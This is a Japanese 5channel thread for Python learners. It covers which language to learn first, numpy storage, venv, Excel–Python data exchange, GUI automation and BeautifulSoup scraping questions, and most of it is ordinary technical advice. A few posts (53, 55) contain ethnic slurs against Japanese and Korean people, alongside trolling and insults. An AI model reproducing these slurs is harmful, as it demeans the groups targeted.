X



Pythonのお勉強 Part60

レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
垢版 |
2019/04/30(火) 08:34:23.34ID:sH/UeeJ6
★当スレにRubyのソースコード類を書くことを禁ず★
☆Ruby等、Pythonではないプログラミング言語での回答類を書くのも禁止
☆「Ruby では」「Rubyでは」をNGワード登録推奨

◆エラーを解決したいときはエラー表示と
 環境(Pythonのバージョン・OS・IDEの種類とバージョン)をシッカリ書く

◆Pythonのソースコードを5ちゃんにコピペするとインデントが崩れるので
  ↓にあげてるような、ソースコード用サイトに貼ってきてくだしあ
    (スクリーンショットをimgurうp等の横着をしない)
ttp://ideone.com/      推定最大手。デフォ設定がCなので、Pythonするには選択ボタン押下がピコ手間かも。
ttp://codepad.org/      ほぼ直感的に使える。Run codeボタンあり。
ttp://pastebin.com/     まずまずシンプル。
ttp://dpaste.com/      とてもシンプル。消えるまでの日数は十分長ーく指定のこと。
ttps://jupyter.org/try    (旧try.jupyter.org)ちょっとめんどうそう。
ttps://ja.osdn.net/pastebin/ ログイン必須になりやがった(゚Д゚#)

◇Pythonオフィシャルサイト
http://www.python.org/

◇まとめwiki
ttp://python.rdy.jp/

●関連スレ●
くだすれPython(超初心者用) その43【Ruby禁止】
http://mevius.5ch.net/test/read.cgi/tech/1555397061/

〇前スレ
Pythonのお勉強 Part59
http://mevius.5ch.net/test/read.cgi/tech/1552194662/

次スレの建立は>>985が挑戦する
0002デフォルトの名無しさん
垢版 |
2019/04/30(火) 12:08:16.07ID:O+RhbMFB
うんこなう
0004デフォルトの名無しさん
垢版 |
2019/04/30(火) 14:33:10.30ID:vQCVvLf1
>>2
me too
0005デフォルトの名無しさん
垢版 |
2019/04/30(火) 15:25:56.32ID:n9fNGNFb
実際のところ、Python以外にどれか一つの言語をやるとしたら、
やっぱりjavascriptは外せないだろうな。
オレは順序が逆だったけど。
0006デフォルトの名無しさん
垢版 |
2019/04/30(火) 17:09:21.60ID:EpZ78spp
>>5 JavaScriptのがサイト作れたりして楽しそうだからJavaScriptからやろうかと思ってるけど間違い?
0007デフォルトの名無しさん
垢版 |
2019/04/30(火) 17:25:35.77ID:8mIuXrcb
>>6
最初にJSやRubyのような自由度の高すぎる言語をやると変な癖がつくからお勧めできない
Pythonは比較的かっちりした標準的な書き方が見につくから、両方やる前提ならPythonからの方がいい
0008デフォルトの名無しさん
垢版 |
2019/04/30(火) 17:41:06.42ID:wC75OwRZ
>>7 なるほど… ちなみにPython GO JS でも順番はPythonとからがオススメですかね?
GOにも興味を持っていて
0009デフォルトの名無しさん
垢版 |
2019/04/30(火) 17:49:41.16ID:rgwV3988
とりあえずガタガタ言う前に始めろ
挫折するやつは簡単と言われてる言語のプログラミングでも挫折するから
0010デフォルトの名無しさん
垢版 |
2019/04/30(火) 17:50:41.56ID:fI4NHg08
勉強する順番に意味はない
そんなアホな書き込みしてる前にpython bootcampやってこい(´・ω・`)
0012デフォルトの名無しさん
垢版 |
2019/04/30(火) 20:59:36.71ID:ZGVZ18q/
半年たったら自分のコードも他人のコードの様に見えると言われるこの世界ではプログラムは習字のように型を身に着ける方がよほど良い
0014デフォルトの名無しさん
垢版 |
2019/04/30(火) 21:39:27.49ID:xHYWEb3z
初心者はまず、Ruby から始めるのが定番。
YouTube に動画を上げている、雑食系エンジニアのKENTA も、そう言ってる

まず画面無しで、CSV などのファイル操作、1-liner、コマンドフィルターなどを作る。
シェルスクリプト・PowerShell の代わりにもなる

a.b.c みたいな関数型のメソッドチェーンに慣れる。
さらに、p a.b.c みたいに、p を付けると、型・内容を表示してくれるので、デバッグもいらない

JavaScript(JS), Kotlin なども、メソッドチェーンを使うので、Rubyの知識が応用できる。
Elixir ではパイプ演算子を使って、a |> b |> c

一方、Python では、c( b( a( ) ) ) になるから、右から実行されてしまう。
これのデバッグが、かなりやっかい

Rubyで、Sinatra, Rails で、web アプリを作る際、
HTML, SASS/CSS, JS, Node.js, jQuery も学ぶ

つまり最初に、Rubyで、オブジェクト指向・関数型を学ぶと、JSも学びやすい

Ruby 2.6 対応の「たのしいRuby 第6版、2019/3/19」を読むとよい
0017デフォルトの名無しさん
垢版 |
2019/04/30(火) 22:11:55.04ID:BPaXCBbn
Rubyは好きな言語の一つなんだが、この書き込み見るたびにゲンナリしてしまう...
0018デフォルトの名無しさん
垢版 |
2019/04/30(火) 22:13:44.82ID:c2yp3V/O
こりや廃れますわw
002014
垢版 |
2019/04/30(火) 22:32:13.11ID:xHYWEb3z
ちなみに、a.b.c みたいな関数型のメソッドチェーンが、Go でも、c( b( a( ) ) )

res1 = a( )
res2 = b( res1 )
res3 = c( res2 )

これは、たまらん!

Go を作っているのは、C を作った、手続き型の老害プログラマw
関数型じゃないから、メソッドチェーンできない!

初心者がやる言語ではない!

まず初心者は、コマンドフィルターとか、何かの一部分を作ることが重要。
その後に、全体を作る

言語の文法ではなく、プログラミング自体や工程を学ばないといけない
0022デフォルトの名無しさん
垢版 |
2019/04/30(火) 22:49:49.47ID:t406fgcl
> 関数型じゃないから、メソッドチェーンできない!
> 関数型じゃないから、メソッドチェーンできない!
> 関数型じゃないから、メソッドチェーンできない!

ギャハハww(≧▽≦) 👀
Rock54: Caution(BBR-MD5:1341adc37120578f18dba9451e6c8c3b)
0023デフォルトの名無しさん
垢版 |
2019/04/30(火) 22:52:51.04ID:hb9ui0Yd
>>20
触れちゃいけないのは理解しているが、初心者も見ているため誤まった認識が広まらないように叩いておく

誤解その1
Rubyのメソッドチェーンはメソッドの戻り値に対して更にメソッドを呼んでいるだけである。Pythonでも全く同じことができる。

誤解その2
Rubyは関数型言語ではない。コンテキストオブジェクトを特別扱いする正真正銘のオブジェクト指向言語である。
また、Rubyでは副作用の使用が推奨されている。これは関数型とは逆行する思想である。Rubyでメソッドチェーンが使えるケースが多いのもそのため。
基本的にメソッドの戻り値を積極的に使わずに副作用に頼るため、使い道のない戻り値でselfを返しておくというわけ。

誤解その3
Goでメソッドチェーンをほとんど使わないのはエラーを返すのに戻り値を使っているから。むしろ関数に拘った結果そうなっている。
0025デフォルトの名無しさん
垢版 |
2019/05/01(水) 00:00:35.44ID:YTeuDukx
ルビーが落ち目でパイソンが人気上昇中。
落ち目のルビー信者がパイソンに対して敵愾心剥き出し。
そんな感じで理解してる。
0026デフォルトの名無しさん
垢版 |
2019/05/01(水) 00:23:23.43ID:SHxr4ckX
>>25
Rubyが少しできることだけがアイデンティティーの引きこもりが、他人と関われるのはRubyの話題しかなく、かといって今はもうRubyが話題になるような場所はなく、
場違いでもなんでも自分の存在をアピールしたくてところ構わず回りの迷惑も省みず書き込んでいるのかなと思ってる。
0027デフォルトの名無しさん
垢版 |
2019/05/01(水) 01:01:57.03ID:YTeuDukx
CとC++はほとんど同じだし、VB.NETとC#もほとんど同じ。
まあほとんど同じは言い過ぎにしても、基本となる考え方は共通点が多い。
どっちの言語が上とか論争する暇があるなら両方覚えた方が多分手っ取り早い。

己が得意な方の言語をやたら持ち上げるのは、新しいことを覚えるのがめんどくさくなって苦労から逃げている弱い自分への自己弁護だと思う。
つまり、脳の老化、気持ちの老化だな。
気持ちが若い人はPythonもRubyも両方覚えて都合よく使い分けるはず。
0028デフォルトの名無しさん
垢版 |
2019/05/01(水) 01:15:05.11ID:73OGBqpL
未だにPythonとJSどっちから始めるか悩んでる糞優柔不断…
半年後とかにプログラマーに転職して仕事でも学べるようにするにはJSからしておいた方が仕事が見つかりやすいのではと考えてるのだが、違う?
0030デフォルトの名無しさん
垢版 |
2019/05/01(水) 03:07:26.67ID:+Ipdp7KR
>>28 JSを言語と考えたらいかんよ。 言語ではあるんだが、あくまでもHTML の補助言語なんだから。
ちゃんとした基本言語をマスターすればJSなんてすぐに使えるからわざわざ訳のわからないものを最初に勉強する必要はない。
0031デフォルトの名無しさん
垢版 |
2019/05/01(水) 03:11:48.31ID:+Ipdp7KR
>>29 半年くらいかじったくらいで就職に有利になるなんて考えが甘い。 それだったら今すぐ転職した方がマシ。
未経験者でも可能な職場もある。 半年後でもあまり変わらんよ。
0033デフォルトの名無しさん
垢版 |
2019/05/01(水) 03:15:24.02ID:sBsjxO6r
>>28
プログラマー板というのがあるのでそちらで相談してみては?
pythonは機械学習とセットでその様子だと無理そうだからJavaScriptがいいよ
JavaScriptならそれだけで仕事がある
0036デフォルトの名無しさん
垢版 |
2019/05/01(水) 03:46:32.83ID:+Ipdp7KR
>>35 とは言っても、HTML も知らない初心者が取り掛かる言語じゃないと思うけどな。HTML の下地があってからなら良いが。 HTMLも奥が深くなってきてるからそれだけでも大変だと思うよ。
いずれにしろスレ違いだね。
0037デフォルトの名無しさん
垢版 |
2019/05/01(水) 04:20:07.85ID:fQT4rWd7
>>28
最初の言語をwebで学ばなければどの言語でも良いよ。
入門書通りにインデントしてれば。
変な癖付けて他人が見にくいコードでさえなければ。

言語の文法なんてすぐ覚える。
言語に依存しないアルゴリズムや、ファイル構造などのデータ構造の方が大事だし。
0038デフォルトの名無しさん
垢版 |
2019/05/01(水) 05:23:44.13ID:c18BzvZQ
現在、機械学習の為の画像データセットを作成しているんですが、numpyを使って画像を配列にし格て納しnpyで出力すると、元の画像よりファイルサイズが大きくなってしまうものなのでしょうか?ファイルサイズを抑える方法は無いのでしょうか?
0039デフォルトの名無しさん
垢版 |
2019/05/01(水) 06:47:06.99ID:+jLxSkPT
npyは圧縮されてない
元画像が圧縮されているjpgやpngなら圧縮を解いたのだからデカくなって当然だろ
少しでも小さくしたいならnpzで保存しろ
それでも足りないならlzmaにでもパイプしろ

元画像が圧縮されていないフォーマットなら
サイズがデカくなるかは元画像のピクセル当たりのビット数とdtypeによる
元が32ビットの画像でdtypeがint64なら
単純に2倍以上になることは想像できるだろう
0041デフォルトの名無しさん
垢版 |
2019/05/01(水) 09:34:42.12ID:dVyc+Z+8
この言語とこの言語のどちらを学んだらいいか
という質問がよくあるけど、両方やればいいじゃないの
っていうかこの分野覚えることがたくさんあるから
両方使いこなせるぐらいの能力? やる気? がないと
生き残れないと思うが
0042デフォルトの名無しさん
垢版 |
2019/05/01(水) 10:37:39.34ID:fQT4rWd7
>>41
そうではあるけど、興味のある分野に向く言語をある程度使いこなせるようになってから
次の言語に行った方がいいね。
文法だけは色んな言語知ってるけど、全部入門書レベルのプログラムしか書けない。じゃあ意味が無い。
0043デフォルトの名無しさん
垢版 |
2019/05/01(水) 10:58:49.92ID:sBsjxO6r
>>38
画像を加工してnumpyの配列が画像なら、画像として保存するのがいいと思う
opencvでもPillowでも画像として保存できる
0044デフォルトの名無しさん
垢版 |
2019/05/01(水) 13:13:51.23ID:bM7PiFk/
プロジェクト毎にvenv作ってるんだけど、プロジェクトには依存しないけどよく使うipythonみたいなパッケージをそれぞれに入れるのが面倒くさくなって来た
このようなパッケージはシステム側にインストールするってのでいいのかね
0045デフォルトの名無しさん
垢版 |
2019/05/01(水) 13:33:02.73ID:ph+vWZP9
最近、SESでPython!言ってる企業が増えた
本屋もPythonばっかだし
Pythonはできる人が少ない→単価が高い(SES企業が大喜び)
0046デフォルトの名無しさん
垢版 |
2019/05/01(水) 14:07:29.30ID:St0wO6DI
SESやってるような低学歴がPythonできても大した意味ねえんだけどな
低学歴だからその辺も分からないんだろう
0048デフォルトの名無しさん
垢版 |
2019/05/01(水) 14:43:03.71ID:sBsjxO6r
>>44
多分ダメ
ipython kernel install ―userでインストールしても動かない
共通のjupyterに異なるvenvで分けた環境のpythonを動かすためには、venvで用意した環境にjupyter等がインストールされている必要がある
0050デフォルトの名無しさん
垢版 |
2019/05/01(水) 16:13:35.18ID:+erxvv1Q
>>44
ひとくちにipythonといっても、ipythonのバージョン違いが
他の依存パッケージの関係で必要とされることがあるだろうし、
システムに入った追加パッケージを使うと求めていないバージョンが入っていて、
バージョン依存解決できないことが多くなることを考えると、
システムの持ってる追加パッケージは使わない仕様になっててもおかしくなさそう。

調べてないから推測でしかないけど。
0051デフォルトの名無しさん
垢版 |
2019/05/01(水) 18:12:06.23ID:bM7PiFk/
>>48
>>50
ありがとう
やっぱ個別にインストールした方がいいみたいね
Pipfileのテンプレートでも作っておくわ(´・ω・`)
0053デフォルトの名無しさん
垢版 |
2019/05/02(木) 19:50:12.23ID:BDHsAqU+
ジャップモンキーは陰湿
滅びたほうがいいね
こういう民族は
差別で喜ぶ屑民族
0054デフォルトの名無しさん
垢版 |
2019/05/02(木) 19:55:35.85ID:TaSBDpem
>>45
SESってなーに?
0055デフォルトの名無しさん
垢版 |
2019/05/02(木) 19:57:46.30ID:TaSBDpem
>>53
糞ジャップというのは
日本国籍を取得した朝鮮人のこと
知らないの?
0056デフォルトの名無しさん
垢版 |
2019/05/02(木) 22:09:07.90ID:CW4Q/lka
質問です
私は愛知県在住なんですがデータ分析の仕事って愛知県にも一定量ありますか?

愛知県だと組み込み系は豊富にある一方、Web系はSESばかりですがデータ分析はどうでしょうか
0057デフォルトの名無しさん
垢版 |
2019/05/02(木) 22:26:50.81ID:w93CqAlI
インターネットがつながる環境があればどこにいても
仕事はあるよ

実績さえあればね
0060デフォルトの名無しさん
垢版 |
2019/05/03(金) 08:09:33.41ID:pt9KmcCZ
python初心者ですが、
Excelからpythonへ文字列を渡し、ある処理の後に文字列をExcelに戻すことを考えています。
pythonへ渡すこと自体はできました。
---vba start---
dim str as string
str = "C"
dim result as string
result = shell("python opyopy.py"+str) 'WScript.Shellも試したよ
debug.print result
--- vba end ---
加工した文字列をexcelに戻す部分が調べても基礎が無いためか、動作するプログラムが作成できません。
数値しか返ってこない。
sysの場合、pythonは正常値0、それ以外は異常値として返すそうですが、
そもそも文字列を返すことはできるんでしょうか?
0061デフォルトの名無しさん
垢版 |
2019/05/03(金) 08:13:51.92ID:wEPfv8zd
>>60
"基礎が無いためか、動作するプログラムが作成できません。"

基礎からやれよ急がば回れ!
0062デフォルトの名無しさん
垢版 |
2019/05/03(金) 08:13:59.11ID:98hF1oLD
標準出力を使えばできるがお勧めしない
ExcelとやりとりしたいならCSVファイルを介するのが鉄板
0063デフォルトの名無しさん
垢版 |
2019/05/03(金) 08:24:30.29ID:pt9KmcCZ
>>61
もう一度、基礎からやり直してきます。

>>62
csv!!これなら、データを一括処理かつexcelとデータやりとりできます。

ありがとうございます!
0064デフォルトの名無しさん
垢版 |
2019/05/03(金) 08:56:40.53ID:jsJUV3Wl
>>63 一括処理するんならわざわざVBAなんか使わない方が楽だよね。

OpenPyXL Python から直接Excelシートの操作
又は
xlwings VBAマクロとしてPython を呼ぶ。VBAそのものをPython に置き換えたような使い方。遅い。(PyXLL も有るが有料)
他にもいろんな方法があるけど。

CSV 垂れ流しだと整形の手間が入る。
0065デフォルトの名無しさん
垢版 |
2019/05/03(金) 09:26:40.10ID:g3uSKodP
>>58
実績があれば学歴がなくても仕事は来るよ
学歴なしで実績を積むのがものすごく大変だけど
0066デフォルトの名無しさん
垢版 |
2019/05/03(金) 09:35:52.78ID:pt9KmcCZ
>>64
実はホストコンピュータへoleインターフェイス経由でデータ取得するvbaを組んでいます。
そのため、excelを前提にテキストデータのやりとりを考えていました。
(周囲が無識者なので、excel形式だと何かと他担当とのやりとりが楽なのです)

正直、wxpythonよりpyinstallerでアプリ化して、各担当がそれぞれデータ出力できるものをpythonで考えています。

ライブラリ教えていただきありがとうございます。
0067デフォルトの名無しさん
垢版 |
2019/05/03(金) 09:53:34.14ID:jsJUV3Wl
>>66 どんな社内システムがわからないから的外れかもしれないけど、自分ならサーバを立ててそこで全ての処理をして画面表示してみせる。
必要ならEXCEL 或いはCSV でダウンロードさせる。
これならクライアント側に特別なプログラムはいらないし、いちいちpyinstaller でexeを作る必要もない。
スマホやiPad でも利用出来る。
0072デフォルトの名無しさん
垢版 |
2019/05/03(金) 13:10:43.99ID:pt9KmcCZ
>>67
お堅い環境なので、手続きが大変なのです。(そこまでやりたくない)
RPA連呼する、それを導入すればなんでもできると考える職場なので・・・。
お察しください。

>>68
exeの皮を被ったpythonさん・・・
最低限の面倒は見るけど、横暴故、極力保守しないように仕向けてます。
(逃げの姿勢じゃないんだからね!)

>>69
python自体は1か月ぐらいかな。このGWで一気に追い上げたような感じですね。
なお、職業プログラマじゃなくて、一般事務のおっさんである。
0073デフォルトの名無しさん
垢版 |
2019/05/03(金) 13:41:12.41ID:L8bdg7Rt
>>71 それもあるが、クライアントの環境によっては動かなくなったり、お守りが大変だからだろ。
いくらpyinstaller でガードしてもママっこOSのわがままには勝てないことがある。

>>72 わからないでも無いが、事務屋のおっさんには荷が重いかもしれないね。
RPAサーバーを業者が触らせないのかもしれないが、ただHTTPサーバの一部を使わせろと言うだけだからそんなに難しい話じゃ無いと思うけどな。 自分がメリットデメリットを理解できれば説得できるはず。
社内を説得できれば業者は従うはず。

将来を考えたらサーバー型にすべき。
事務屋としてはVBAの延長でPython を考えたいんだろうけど、
Excel VBA Windows は、Microsoft 純正でそこに多少の凸凹の行き違いがあっても短期間に責任を持って収集してくれるが、
Python との相性問題が出ても知らんぷりだから全部の責任を自分が被らないといけなくなるんだよ。
そんな危険は犯したく無いのがシステム屋。
また、pyinstaller でバージョンを固定しても将来のWindows のバージョンで動く保証はどこにもなく永遠に保守をし続けないといけなくなる。

社内を説得するための材料としてはモノタロウのケースを勉強してみたら?

自分はPython は今年に入ってから触り始めたけど、コンピュータは半世紀やってきたからシステムの問題には自信を持って言える。

ステップバイステップでやっていくのも1つの手段。 しかし将来像を頭に描いているかどうかで全体が大きく変わってくるよ。
0074デフォルトの名無しさん
垢版 |
2019/05/03(金) 13:51:18.51ID:L8bdg7Rt
試しに、自分のマシンでサーバーを立ち上げて社内LAN に繋がってるPCに使わせて見るという実験も良いかもしれない。
自分の勉強にもなるし。 Python で簡単にサーバーを立ち上げられるよ。
これだと社内全体を説得する必要はないし、LAN拠点毎に1つだけサーバーを立ち上げておけば良いし。
0077デフォルトの名無しさん
垢版 |
2019/05/03(金) 15:16:43.62ID:0Tydj9mo
一度運用に載せたら素人でも保守拡張できる程度に
最初に作り込まないと後が悲惨
0078デフォルトの名無しさん
垢版 |
2019/05/03(金) 15:24:29.56ID:2qTilC2k
何をやりたいのかよくわからんが、

(1)クライアントPCから処理対象のexcelファイルをサーバのinputフォルダに置く
(2)サーバはinputフォルダを監視し、新しいファイルが来たらworkフォルダに移動して処理する
(3)サーバは必要であればoutputフォルダに処理結果のexcelファイルを置く

みたいな作りにしておいた方が後々苦労しなくて済むような気がする。
サーバはPandasライブラリ等を使えばexcelファイルを操作できるし。
0079デフォルトの名無しさん
垢版 |
2019/05/03(金) 15:30:48.32ID:3Vz/qKoh
oleならwin32com.clientでええやん
VBAいらんで
0080デフォルトの名無しさん
垢版 |
2019/05/03(金) 16:55:17.14ID:pt9KmcCZ
>>73 >>74
貴重なご意見ありがとうございます。
また、モノタロウ?と思って調べてみました。こんなサイトもあるんですね。

http.server、ローカル環境が簡単に構築できそう。勉強になります。

>>79
はい、チェックはしています。試してないけど。

さて、単純な業務ツールをいろいろ作っている身として、あまり複雑なことはやりたくない。
抱えるのも辛いけど、属人化が一番嫌だから。
さっさと時代遅れの機械なんてさっさと無くして、サーバーを新規に構築してほしいですね。
予算が無いとか言いつつ、くらだん備品類で予算消化とか、他に金かける部分あるだろ!と思う今日この頃でした。
予算決定プロセス上仕方がないが。

お粗末さまでした。
0083デフォルトの名無しさん
垢版 |
2019/05/03(金) 18:02:16.50ID:taX/i1G/

こいつカス
0085デフォルトの名無しさん
垢版 |
2019/05/03(金) 18:21:26.99ID:1vSUmwo4
>>81
あなたが集団の同質性を重んじる典型的な日本人タイプなら、国内ではRubyの方が居心地がいいと思う
Pythonは高学歴同士が各々の専門知識を振りかざしてマウントを取り合う文化があるから一匹狼タイプ向け
0086デフォルトの名無しさん
垢版 |
2019/05/03(金) 18:23:27.75ID:5yeb5qFn
>>81
初学者にとってどちらが良いかは
・本人の目的
・将来性
・言語としての癖
を考えて決めれば良いと思うよ

言語としての機能はよく似てるけど立ち位置は随分と違う
今のところRubyはWeb系に強くPythonは分析や機械学習に強い
将来性についてはPythonかな、Web系は競合する言語が多い
言語として癖がないのはPythonで、Rubyは自由度が大きく拡張性も高い分、考えることが一つ多い
0087デフォルトの名無しさん
垢版 |
2019/05/03(金) 18:35:19.04ID:iE5UbyHC
>>85,86
サンクス。俺はCとJavaをかじった程度だけどCは古いしJavaはコンパイラが商用有料化するみたいなので簡単そうなRubyやPythonに興味が出てきたってわけ。
言語がいっぱいありすぎてどれにすればいいのか迷う
0091デフォルトの名無しさん
垢版 |
2019/05/03(金) 19:11:56.24ID:L8bdg7Rt
今生きてるのまで死ねとは言っていない。
新たに勉強する言語としては忘れて良いんじゃないのという意味。
0092デフォルトの名無しさん
垢版 |
2019/05/04(土) 00:31:01.80ID:eVWbARiE
一時期Ruby好きでメインで使ってたけど、もう二度と書くことはないだろうなって思う
0093デフォルトの名無しさん
垢版 |
2019/05/04(土) 02:54:05.63ID:rM1STB6K
朝鮮人なんてリアル社会人なら口に出せない筈の差別用語
社会常識をわきまえないネトウヨ的脳内PGがいるようだ
0094デフォルトの名無しさん
垢版 |
2019/05/04(土) 02:54:52.85ID:KBbEKpYD
PythonでWindowsのGUIが自動化出来るなんて話をよく聞くんだが
作者が行方不明のUWSCみたいに使えるんかこれ
代替に使えるんなら覚えてみるかな
0095デフォルトの名無しさん
垢版 |
2019/05/04(土) 05:37:33.76ID:u+QazaKa
>>94 PyAutoGui かな。

PyAutoGuiで繰り返し作業をPythonにやらせよう
https://qiita.com/hirohiro77/items/78e26a59c2e45a0fe4e3
できること

マウスの操作(移動/ボタン/スクロール)
キーボードの操作(テキスト入力/キー操作)
アラートウインドウの制御(通常のアプリケーションウインドウは操作無理)
イメージマッチング(bmp/jpg/pngで設定可能) ※opencv_python , pillow , Imageモジュールがあるとあいまい検索が可能
ピクセルカラー取得(特定座標または範囲の色を取得)
スクリーンショットの取得(全域/範囲)

画像認識型の自動化なので、seleniumライブラリなど別ライブラリと組み合わせを推奨。
単独だと、画像操作で何とかなるものに限る

Python + Selenium で Chrome の自動操作を一通り
https://qiita.com/memakura/items/20a02161fa7e18d8a693
ウェブの自動テストやスクレイピングで使われる技術です。
0097デフォルトの名無しさん
垢版 |
2019/05/04(土) 07:29:54.64ID:u+QazaKa
>>80 もう一つ、Flask もチラ見しておくと良い。

簡単にブラウザベースでアプリが作れる。
自分が作ったアプリのパッケージ内にPythonが同梱されるのでユーザーにPython をインストールさせたりする手間はない。 pyinstallerも要らない。
実行させるとブラウザが立ち上がり、ブラウザの一つのタブとして実行される。

将来的にはサーバー上で実行させることもできる。
DB管理ツールの PgAdminはこれで作られている。
0099デフォルトの名無しさん
垢版 |
2019/05/04(土) 13:57:18.11ID:eVWbARiE
>>98
sleep入れないと

apiごとに何分間に何回まで呼び出せるとか制限が違うから、調べて使わんといかんよ
0101デフォルトの名無しさん
垢版 |
2019/05/04(土) 14:42:55.81ID:tOD9kuur
python関連のツールって
バグだらけで使うのに苦労する
まじ殺意覚える

なんとか作ってもバージョンUPで
全てパー

pythonなんてイラネ
けど他に選択肢がない!
0102デフォルトの名無しさん
垢版 |
2019/05/04(土) 14:52:56.44ID:eVWbARiE
>>100
何に使ってるか分からんけど、自分はちゃんと使えてるよ

他人のアカウントで動くようなbotを提供するなら、10アカウントを超える場合は
有料の契約しないといけなかったかも
月3万円〜くらいらしい
0105デフォルトの名無しさん
垢版 |
2019/05/04(土) 15:22:01.33ID:Zf+/9VtM
>>101
具体的にどのツール?
0107デフォルトの名無しさん
垢版 |
2019/05/04(土) 21:12:27.28ID:ivT98XDJ
自分はアカウント作って手動でテストってツイートしたら即アク禁されたわ
NGワードだったのかねぇ
0108デフォルトの名無しさん
垢版 |
2019/05/05(日) 00:09:37.04ID:x93NAlVl
>>107
アク禁がどういう状況なのか分からんが、もしかしてOAuthに失敗してない?
あと、利用申請するときに利用目的とか書かされるけど適当に書きすぎてるとか?
0109デフォルトの名無しさん
垢版 |
2019/05/05(日) 00:35:50.38ID:NdndInZE
>>108
いやツイッター使ったことなかったんで
とりあえずアカウント作って一般ユーザーとしてテストってツイートしただけ
APIとか触る以前の問題
0110デフォルトの名無しさん
垢版 |
2019/05/05(日) 00:57:18.91ID:x93NAlVl
>>109
じゃぁ年齢制限にひっかかってない?
生年月日適当に設定して13歳以下とかになったりすると凍結される
あと、変なアカウントフォローしまくっても凍結される
0111デフォルトの名無しさん
垢版 |
2019/05/05(日) 01:11:53.54ID:NdndInZE
>>110
生年月日はフェイクだけど1980年にしてたから年齢制限ではないね
アカウントは作ったばっかりでフォロー等全くしてない
要は、出来立てのアカウントで内容の薄いツイートをしたことで何らかのフィルタにかかったんだと思ってる
0114デフォルトの名無しさん
垢版 |
2019/05/05(日) 02:52:32.65ID:eMsI3+wX
ここTwitter APIのフォーラムじゃないんで、調査についてはよそでやってくれると助かるよ
0117デフォルトの名無しさん
垢版 |
2019/05/05(日) 11:50:05.62ID:jDJFaPfq
WindowsでJupyter notebookというのを
使っています。
デバッグのときに、
ステップ実行とか関数内にはいってステップ実行
をするにはどうしたらいいでしょうか?
0119デフォルトの名無しさん
垢版 |
2019/05/05(日) 12:05:09.17ID:TKrOuc6u
>>117
Jupyterはあくまでアドホック分析のツール
ステップインデバッグが必要になるようなことをするならVSCodeを使え
0121デフォルトの名無しさん
垢版 |
2019/05/05(日) 13:06:09.53ID:jDJFaPfq
>>118
>>119
>>120
ありがとうございます。
VScodeを使ってみます。
0122デフォルトの名無しさん
垢版 |
2019/05/05(日) 15:25:31.18ID:Lg7yPSQn
windowsにanaconda入れてpython使用中です
import msvcrtでputwchを使ってるんですけど、全角半角混在文字列を表示したとき、現在のカーソル位置をgetする関数ありませんか?
今は表示した文字のコードからカーソル位置を計算してますが、ちょっと面倒なので。
0123デフォルトの名無しさん
垢版 |
2019/05/05(日) 16:15:39.31ID:vTdWYBgo
AllocConsole か ncurses
0124デフォルトの名無しさん
垢版 |
2019/05/05(日) 18:39:16.67ID:pLuxMQOp
初めまして。win10でアナコンダ(最新)入れてスクレイピングを勉強し始めました。
本を読みながら作業をしているのですが、詰まるところがありお聞きしたいです。

コードは

(UHF=8にしてます)
import requests
import bs4
import csv
rs = requests.get('URL(仮)')
rs.raise_for_status()
sp = bs4.BeautifulSoup(rs.text.encode(rs.encoding), 'html.parser')
rcd = []

for elm in sp.select_one('#id(仮)'):
rcd.append(elm.string)

f = open('date.csv','a', newline='')
wrtr = csv.writer(f,delimiter=',')
wrtr.writerow(rcd)
f.close()

になります。
質問ですが
@ for elm in sp.select_one('#id'): の部分にfor elm in sp.select_one('#id').string: とするとエラー(AttributeError)になる。
しらべてみると二個以上ある場合?に .string は使えないとのことですが
どのようにしたらよいのか?
Acsvに落とし込むと文字化けする。上でuhf-8に指定しておりコーディングもしている。このようなときはどうすればよいのか?

教えてください。
0125デフォルトの名無しさん
垢版 |
2019/05/05(日) 18:50:49.81ID:Lg7yPSQn
自己解決
unicodedataをimportして
east_asian_width() を使う方が簡単ですね
失礼しました
0126デフォルトの名無しさん
垢版 |
2019/05/05(日) 19:24:14.33ID:L5goONob
macのterminalでpython3をデフォルトにするにはどうしたらいいですか?
python3のファイルを$pythonで開きたい
0129デフォルトの名無しさん
垢版 |
2019/05/06(月) 05:18:25.39ID:wr9bFPpT
>>124
Ruby でスクレイピングしてるから、Python はあまり知らないけど、

>for elm in sp.select_one('#id').string:
sp.select_one('#id') に直接、.string は付かないのじゃないの?

複数の要素をループして、各要素にしてから、つなげれば?

for elm in sp.select_one('#id(仮)'):
elm.string

>f = open('date.csv','a', newline='')
ここでオプションで、UTF-8 か、sjis を指定できないの?
0131デフォルトの名無しさん
垢版 |
2019/05/06(月) 08:48:46.09ID:llnuASGm
>>129 130
ありがとうございます。
ループ処理したらできました。こういうのはpythonのお作法なのでしょうか?
なんで直接つかないのでしょうか・・

>>130
id→classを選択することになりますよね。
select文でもid名で指定することができるのでしょうか?
0132デフォルトの名無しさん
垢版 |
2019/05/06(月) 09:28:43.88ID:h2+b5pdE
>>131
for文で繰り返したい場合、文字列ではなくて文字列を含むオブジェクトの集合だから、この書き方になる
つまり
[obj1,obj2,obj3]は繰り返せるし
文字列を取り出すのにobj1.string, obj2.string, obj3.stringもそれぞれ正しい
でも
[obj1,obj2,obj3].stringはなんのこっちゃ?となる

2つ目の質問に対しては、selectを使うならまずCSSセレクタを理解しないと上手く取り出せないよ
やりたいことはselectではなくてfind, find_allが適切かも知れない
0133デフォルトの名無しさん
垢版 |
2019/05/06(月) 09:33:36.17ID:h2+b5pdE
ちなみに上の説明は分かりやすくするためにlist使って説明したけど、実際にはイテレータでlistではないから注意
0134デフォルトの名無しさん
垢版 |
2019/05/06(月) 11:01:31.13ID:kGkQS8+O
>>132
findのあとに.stringってつけれました?

[obj1,obj2,obj3].stringと同じになりませんか?私も個別に処理してたのでfindとstringの方法を知りたいです。
書き方の例を教えてほしいです
0135129
垢版 |
2019/05/06(月) 11:07:41.34ID:wr9bFPpT
id で検索すると、該当する要素は、0〜1。
class で検索すると、該当する要素は、0以上

jQuery では、どちらも配列を返すように統一されている。
0 の場合でも、空配列を返す

でも、Ruby など他の言語では、
0〜1 なら、find_one、
0以上なら、find_all とか、

異なる関数名を使うものがあるので、やっかい
0136129
垢版 |
2019/05/06(月) 11:19:36.99ID:wr9bFPpT
>>134
基本的には「インスタンス.メソッド」の形だろ。
だから、そのインスタンスに、そのメソッドが存在しなければ、エラーになる

obj1.string がOK なら、obj1 には、string メソッドがある

一方、[obj1,obj2,obj3].string がエラーなら、[ ] には、string メソッドがない。
[ ] は、iterator か?

[ ].string とは、[ ] の中に入っている各要素に、.string が付いているのではない!
[ ] そのものに、.string を付けているから、エラーになる
0137デフォルトの名無しさん
垢版 |
